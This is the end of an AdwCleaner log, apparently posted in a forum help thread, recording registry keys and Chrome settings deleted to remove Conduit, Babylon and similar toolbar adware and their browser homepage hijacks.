[-] Key deleted: HKLM\SOFTWARE\Classes\TypeLib\{4E1E9D45-8BF9-4139-915C-9F83CC3D5921}
[-] Key deleted: HKLM\SOFTWARE\Classes\TypeLib\{D7EE8177-D51E-4F89-92B6-83EA2EC40800}
[-] Key deleted: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{2EECD738-5844-4A99-B4B6-146BF802613B}
[-] Key deleted: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{9522B3FB-7A2B-4646-8AF6-36E7F593073C}
[-] Key deleted: HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{2EECD738-5844-4A99-B4B6-146BF802613B}
[-] Key deleted: HKLM\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{9522B3FB-7A2B-4646-8AF6-36E7F593073C}
[-] Key deleted: HKU\S-1-5-21-1222998811-2290356340-2357664347-1000\Software\Conduit
[-] Key deleted: HKU\S-1-5-21-1222998811-2290356340-2357664347-1000\Software\Microsoft\Babylon
[-] Key deleted: HKU\S-1-5-21-1222998811-2290356340-2357664347-1000\Software\WEBAPP
[-] Key deleted: HKU\S-1-5-21-1222998811-2290356340-2357664347-1000\Software\YahooPartnerToolbar
[#] Key deleted on reboot: HKCU\Software\Conduit
[#] Key deleted on reboot: HKCU\Software\Microsoft\Babylon
[#] Key deleted on reboot: HKCU\Software\WEBAPP
[#] Key deleted on reboot: HKCU\Software\YahooPartnerToolbar
[-] Key deleted: HKLM\SOFTWARE\{3A7D3E19-1B79-4E4E-BD96-5467DA2C4EF0}
[-] Key deleted: HKLM\SOFTWARE\Babylon
[-] Key deleted: HKLM\SOFTWARE\SlimWare Utilities Inc
[-] Key deleted: HKLM\SOFTWARE\Toolbar Cleaner
[-] Key deleted: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{83AA2913-C123-4146-85BD-AD8F93971D39}
[-] Key deleted: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Toolbar Cleaner
[-] Key deleted: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4B2468513CA2D6943A1A233CD3F88CE7
[-] Key deleted: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\3192AA38321C641458DBDAF83979D193
[-] Key deleted: [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UpgradeCodes\20E71B53321C641458DBDAF83979D193
[-] Key deleted: [x64] HKLM\SOFTWARE\Classes\Installer\Products\3192AA38321C641458DBDAF83979D193
[-] Key deleted: HKLM\SOFTWARE\Classes\Installer\Features\3192AA38321C641458DBDAF83979D193
[#] Key deleted on reboot: HKLM\SOFTWARE\Classes\Installer\Products\3192AA38321C641458DBDAF83979D193
[-] Key deleted: HKLM\SOFTWARE\Classes\Installer\UpgradeCodes\20E71B53321C641458DBDAF83979D193
[-] Key deleted: [x64] HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{2fa28606-de77-4029-af96-b231e3b8f827}
[-] Value deleted: HKU\S-1-5-21-1222998811-2290356340-2357664347-1000\Software\Microsoft\Internet Explorer\SearchScopes [URL]
[-] Value deleted: HKU\S-1-5-21-1222998811-2290356340-2357664347-1000\Software\Microsoft\Internet Explorer\SearchScopes [SuggestionsURL_JSON]
[#] Value deleted on reboot: HKCU\Software\Microsoft\Internet Explorer\SearchScopes [URL]
[#] Value deleted on reboot: HKCU\Software\Microsoft\Internet Explorer\SearchScopes [SuggestionsURL_JSON]
[-] Key deleted: HKCU\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage\ask.com
[-] Key deleted: HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\five-nights-at-freddys.en.softonic.com
[-] Key deleted: HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\EdpDomStorage\softonic.com
[-] Key deleted: HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\five-nights-at-freddys.en.softonic.com
[-] Key deleted: HKCU\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Explorer\DOMStorage\softonic.com
[-] Key deleted: HKLM\SOFTWARE\Classes\AppID\escort.DLL
[-] Key deleted: HKLM\SOFTWARE\Classes\AppID\escortApp.DLL
[-] Key deleted: HKLM\SOFTWARE\Classes\AppID\escortEng.DLL
[-] Key deleted: HKLM\SOFTWARE\Classes\AppID\escorTlbr.DLL
[-] Key deleted: HKLM\SOFTWARE\Classes\AppID\esrv.EXE
 
 
***** [ Web browsers ] *****
 
[-] Chrome preferences cleaned: "CT2260173.1000234.weatherData" -  "{\"icon\":\"26.png\",\"temperature\":\"43°F\",\"temperatureClear\":\"43°F\",\"highTemperature\":\"43°F\",\"lowTemperature\":\"35°F\",\"feelsLike\":\"36°F\",\"condition\":\"Cloudy\",\"tUnit\":\"f\",\"cityName\":\"Dayton, OH\",\"lastUpdated\":\"3/11/13 8:25 PM EDT\",\"humidity\":\"74%\",\"visibility\":\"10.0 mi\",\"pressure\":\"29.75 in\",\"pressureDescription\":\"rising\",\"windFrom\":\"WSW\",\"windSpeed\":\"16 mph\",\"hasCurrentCondition\":true,\"night\":true,\"severaAlertsCount\":0,\"loaded\":true,\"day1\":{\"icon\":\"30.png\",\"highTemperature\":\"42°F\",\"lowTemperature\":\"31°F\",\"condition\":\"Partly Cloudy\",\"precipitation\":\"20%\",\"day\":\"1\",\"sunr\":\"7:53 AM\",\"suns\":\"7:41 PM\",\"humidity\":\"70%\",\"windFrom\":\"WSW\",\"windSpeed\":\"19 mph\",\"dayName\":\"Tuesday\",\"date\":\"Mar 12, 2013\",\"hourly\":[{\"key\":\"74570004\",\"class\":\"hourlyforecast\",\"dateTime\":\"6 AM\",\"temp\":36,\"feelsLike\":28,\"humid\":82,\"wSpeed\":11,\"wDir\":241,\"pop\":10,\"uv\":0,\"dew\":31,\"icon\":27,\"wDirText\":\"WSW\",\"wDesc\":\"Mostly Cloudy\",\"precip_type\":\"precip\"},{\"key\":\"74570004\",\"class\":\"hourlyforecast\",\"dateTime\":\"12 PM\",\"temp\":38,\"feelsLike\":29,\"humid\":70,\"wSpeed\":16,\"wDir\":245,\"pop\":10,\"uv\":3,\"dew\":29,\"icon\":30,\"wDirText\":\"WSW\",\"wDesc\":\"Partly Cloudy\",\"precip_type\":\"precip\"},{\"key\":\"74570004\",\"class\":\"hourlyforecast\",\"dateTime\":\"6 PM\",\"temp\":41,\"feelsLike\":33,\"humid\":62,\"wSpeed\":17,\"wDir\":252,\"pop\":20,\"uv\":1,\"dew\":29,\"icon\":30,\"wDirText\":\"WSW\",\"wDesc\":\"Partly Cloudy\",\"precip_type\":\"rain\"},{\"key\":\"74570004\",\"class\":\"hourlyforecast\",\"dateTime\":\"0 AM\",\"temp\":36,\"feelsLike\":27,\"humid\":73,\"wSpeed\":13,\"wDir\":266,\"pop\":10,\"uv\":0,\"dew\":28,\"icon\":27,\"wDirText\":\"W\",\"wDesc\":\"Mostly Cloudy\",\"precip_type\":\"precip\"}]},\"day2\":{\"icon\":\"13.png\",\"highTemperature\":\"34°F\",\"lowTemperature\":\"24°F\",\"condition\":\"Flurries\",\"precipitation\":\"30%\",\"day\":\"2\",\"sunr\":\"7:51 AM\",\"suns\":\"7:42 PM\",\"humidity\":\"64%\",\"windFrom\":\"WNW\",\"windSpeed\":\"17 mph\",\"dayName\":\"Wednesday\",\"date\":\"Mar 13, 2013\",\"hourly\":[{\"key\":\"74570004\",\"class\":\"hourlyforecast\",\"dateTime\":\"6 AM\",\"temp\":32,\"feelsLike\":23,\"humid\":74,\"wSpeed\":12,\"wDir\":272,\"pop\":30,\"uv\":0,\"dew\":26,\"icon\":13,\"wDirText\":\"W\",\"wDesc\":\"Flurries\",\"precip_type\":\"snow\"},{\"key\":\"74570004\",\"class\":\"hourlyforecast\",\"dateTime\":\"10 AM\",\"temp\":31,\"feelsLike\":20,\"humid\":67,\"wSpeed\":15,\"wDir\":277,\"pop\":30,\"uv\":1,\"dew\":23,\"icon\":13,\"wDirText\":\"W\",\"wDesc\":\"Flurries\",\"precip_type\":\"snow\"},{\"key\":\"74570004\",\"class\":\"hourlyforecast\",\"dateTime\":\"2 PM\",\"temp\":33,\"feelsLike\":22,\"humid\":64,\"wSpeed\":17,\"wDir\":291,\"pop\":20,\"uv\":3,\"dew\":22,\"icon\":26,\"wDirText\":\"WNW\",\"wDesc\":\"Cloudy\",\"precip_type\":\"precip\"},{\"key\":\"74570004\",\"class\":\"hourlyforecast\",\"dateTime\":\"6 PM\",\"temp\":33,\"feelsLike\":23,\"humid\":59,\"wSpeed\":16,\"wDir\":296,\"pop\":30,\"uv\":0,\"dew\":20,\"icon\":13,\"wDirText\":\"WNW\",\"wDesc\":\"Flurries\",\"precip_type\":\"snow\"}]},\"day3\":{\"icon\":\"34.png\",\"highTemperature\":\"41°F\",\"lowTemperature\":\"30°F\",\"condition\":\"Mostly Sunny\",\"precipitation\":\"10%\",\"day\":\"3\",\"sunr\":\"7:50 AM\",\"suns\":\"7:43 PM\",\"humidity\":\"64%\",\"windFrom\":\"W\",\"windSpeed\":\"9 mph\",\"dayName\":\"Thursday\",\"date\":\"Mar 14, 2013\"},\"extendedOutlookLink\":\"hxxp://www.weather.com/outlook/local/USOH0245?par=conduit&site=conduitapp&cm_ven=Conduit&cm_cat=conduitapp&cm_pla=application-us&cm_ite=wx-today\",\"todayLink\":\"hxxp://www.weather.com/weather/tenday/USOH0245?par=conduit&site=conduitapp&cm_ven=conduit&cm_cat=conduitapp&cm_pla=application-us&cm_ite=wx-10day\",\"zone\":-4,\"severeAlertsCount\":false}"
[-] Chrome preferences cleaned: "CT2260173.embeddedsData" -  "[{\"appId\":\"128848965243869715\",\"apiPermissions\":{\"crossDomainAjax\":true,\"getMainFrameTitle\":true,\"getMainFrameUrl\":true,\"getSearchTerm\":true,\"instantAlert\":true,\"jsInjection\":true,\"sslGranted\":true},\"onBeforeLoadData\":\"{\\\"view\\\":{\\\"html\\\":\\\"<table id=\\\\\\\"main\\\\\\\" class=\\\\\\\"mainwrapper\\\\\\\" cellpadding=\\\\\\\"0\\\\\\\" cellspacing=\\\\\\\"0\\\\\\\">\\\\n    <tbody><tr>\\\\n        <!-- don't remove the width=\\\\\\\"100%\\\\\\\" bug in chrome the width become in px-->\\\\n        <td id=\\\\\\\"textboxWrapper\\\\\\\" style=\\\\\\\"width: 100%; background: none repeat scroll 0% 0% rgb(254, 254, 254);\\\\\\\" width=\\\\\\\"100%\\\\\\\">\\\\n            <!-- take focuse in IE -->\\\\n            <!--[if ie]>\\\\n            <form onsubmit =\\\\\\\"return false;\\\\\\\" action=\\\\\\\"#\\\\\\\">\\\\n            <![endif]-->\\\\n            <input style=\\\\\\\"color: rgb(0, 0, 0); background: none repeat scroll 0% 0% rgb(254, 254, 254); min-width: 137px; max-width: 502px; width: 100%;\\\\\\\" id=\\\\\\\"textbox\\\\\\\" type=\\\\\\\"text\\\\\\\">\\\\n            <!--[if ie]>\\\\n            </form>\\\\n            <![endif]-->\\\\n        </td>\\\\n        <td style=\\\\\\\"display: table-cell; background: none repeat scroll 0% 0% rgb(254, 254, 254);\\\\\\\" id=\\\\\\\"infoPopupButtonWrapper\\\\\\\">\\\\n            <div style=\\\\\\\"display: block;\\\\\\\" id=\\\\\\\"infoPopupButton\\\\\\\" class=\\\\\\\"dropdownButtonTextbox no-select\\\\\\\"></div>\\\\n        </td>\\\\n        <td id=\\\\\\\"engineWrapperContainer\\\\\\\">\\\\n            <table cellpadding=\\\\\\\"0\\\\\\\" cellspacing=\\\\\\\"0\\\\\\\">\\\\n                <tbody><tr>\\\\n                    <td id=\\\\\\\"imageTextWrapperContainer\\\\\\\">\\\\n                        <table cellpadding=\\\\\\\"0\\\\\\\" cellspacing=\\\\\\\"0\\\\\\\">\\\\n                            <tbody><tr>\\\\n                                <td style=\\\\\\\"display: table-cell;\\\\\\\" id=\\\\\\\"engineWrapper\\\\\\\"><img style=\\\\\\\"display: block\\\\\\\" id=\\\\\\\"engineImage\\\\\\\" alt=\\\\\\\"\\\\\\\" src=\\\\\\\"hxxp://storage.stgbssint.com/73/226/CT2260173/images/634673604687122295_20PX.png\\\\\\\" onerror=\\\\\\\"javascript: this.src='hxxp://storage.conduit.com/images/searchengines/go_btn_new.gif'\\\\\\\"></td>\\\\n                                <td style=\\\\\\\"display: none;\\\\\\\" id=\\\\\\\"engineTextWrapper\\\\\\\">\\\\n                                    <div title=\\\\\\\"\\\\\\\" style=\\\\\\\"color: rgb(0, 0, 0); font-family: Tahoma; font-weight: normal; font-style: normal; font-size: 11px;\\\\\\\" id=\\\\\\\"engineText\\\\\\\"></div>\\\\n                                </td>\\\\n                            </tr>\\\\n                        </tbody></table>\\\\n                    </td>\\\\n                    <td id=\\\\\\\"enginesPopupButtonWrapper\\\\\\\">\\\\n                        <div id=\\\\\\\"enginesPopupButton\\\\\\\" class=\\\\\\\"dropdownButton no-select\\\\\\\"></div>\\\\n                    </td>\\\\n                </tr>\\\\n            </tbody></table>\\\\n        </td>\\\\n    </tr>\\\\n</tbody></table>\\\"},\\\"locale\\\":{\\\"alignMode\\\":\\\"LTR\\\",\\\"locale\\\":\\\"en\\\",\\\"languageAlignMode\\\":\\\"LTR\\\"}}\"},{\"appId\":\"129998982795499086\",\"apiPermissions\":{\"crossDomainAjax\":true,\"getMainFrameTitle\":true,\"getMainFrameUrl\":true,\"getSearchTerm\":false,\"instantAlert\":true,\"jsInjection\":true,\"sslGranted\":false},\"originalHeight\":26}]"
[-] Chrome preferences cleaned: "CT2260173.navigationAliasesJson" -  "{\"EB_SEARCH_TERM\":\"\",\"EB_MAIN_FRAME_URL\":\"hxxps%3A%2F%2Fwww.facebook.com%2Fgroups%2F489088451135384%2F\",\"EB_MAIN_FRAME_TITLE\":\"Holiday%20Deals!\",\"EB_TOOLBAR_SUB_DOMAIN\":\"hxxp://SBToolBarToolbar.OurToolbar.com/\",\"EB_TOOLBAR_ID\":\"CT2260173\",\"EB_TOOLBAR_VERSION\":\"10.31.2.501\",\"EB_ORIGINAL_CTID\":\"CT2260173\",\"EB_DOWNLOAD_PAGE\":\"hxxp://SBToolBarToolbar.OurToolbar.com/\",\"EB_TOOLBAR_NAME\":\"Swag Bucks \"}"
[-] Chrome preferences cleaned: "CT2260173.serviceLayer_service_toolbarGrouping_activeCTID" -  "{\"dataType\":\"string\",\"data\":\"CT2260173\"}"
[-] Chrome preferences cleaned: "browser.newtab.url" -  "hxxp://searchinterneat-a.akamaihd.net/t?eq=U0EeFFhaR1oWHAUUIw0AAwBCDA0XJg0VVQoXGRhBJAtbTAtBFQBHIQ5eUltFRBNBNARaB0tXUUEeGGlxR1dMclBGDVZKBGsUUkBPNEpwFFs="
[-] Chrome preferences cleaned: "browser.startup.homepage" -  "hxxp://searchinterneat-a.akamaihd.net/h?eq=U0EeCFZVBB8SRggTd1oMWVtIEhgbdF8MTA1CRw0OIl0KAhRDEQEWJFgPBwoTFVAFIk0FA18DB0VXfWFoKB8fHGZGJXRXE1wjREZWLE1LKUwT"
[-] Chrome preferences cleaned: 
 
 
*************************
 
:: "Tracing" keys deleted
:: Winsock settings cleared
 
*************************
 
C:\AdwCleaner\AdwCleaner[C1].txt - [683 Bytes] - [11/08/2016 23:09:47]
C:\AdwCleaner\AdwCleaner[C2].txt - [15887 Bytes] - [16/08/2016 18:31:32]
C:\AdwCleaner\AdwCleaner[S1].txt - [36939 Bytes] - [11/08/2016 23:01:00]
C:\AdwCleaner\AdwCleaner[S2].txt - [36502 Bytes] - [11/08/2016 23:21:46]
C:\AdwCleaner\AdwCleaner[S3].txt - [95764 Bytes] - [15/08/2016 19:36:27]
C:\AdwCleaner\AdwCleaner[S4].txt - [90349 Bytes] - [16/08/2016 17:44:15]
 
########## EOF - C:\AdwCleaner\AdwCleaner[C2].txt - [16257 Bytes] ##########





0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users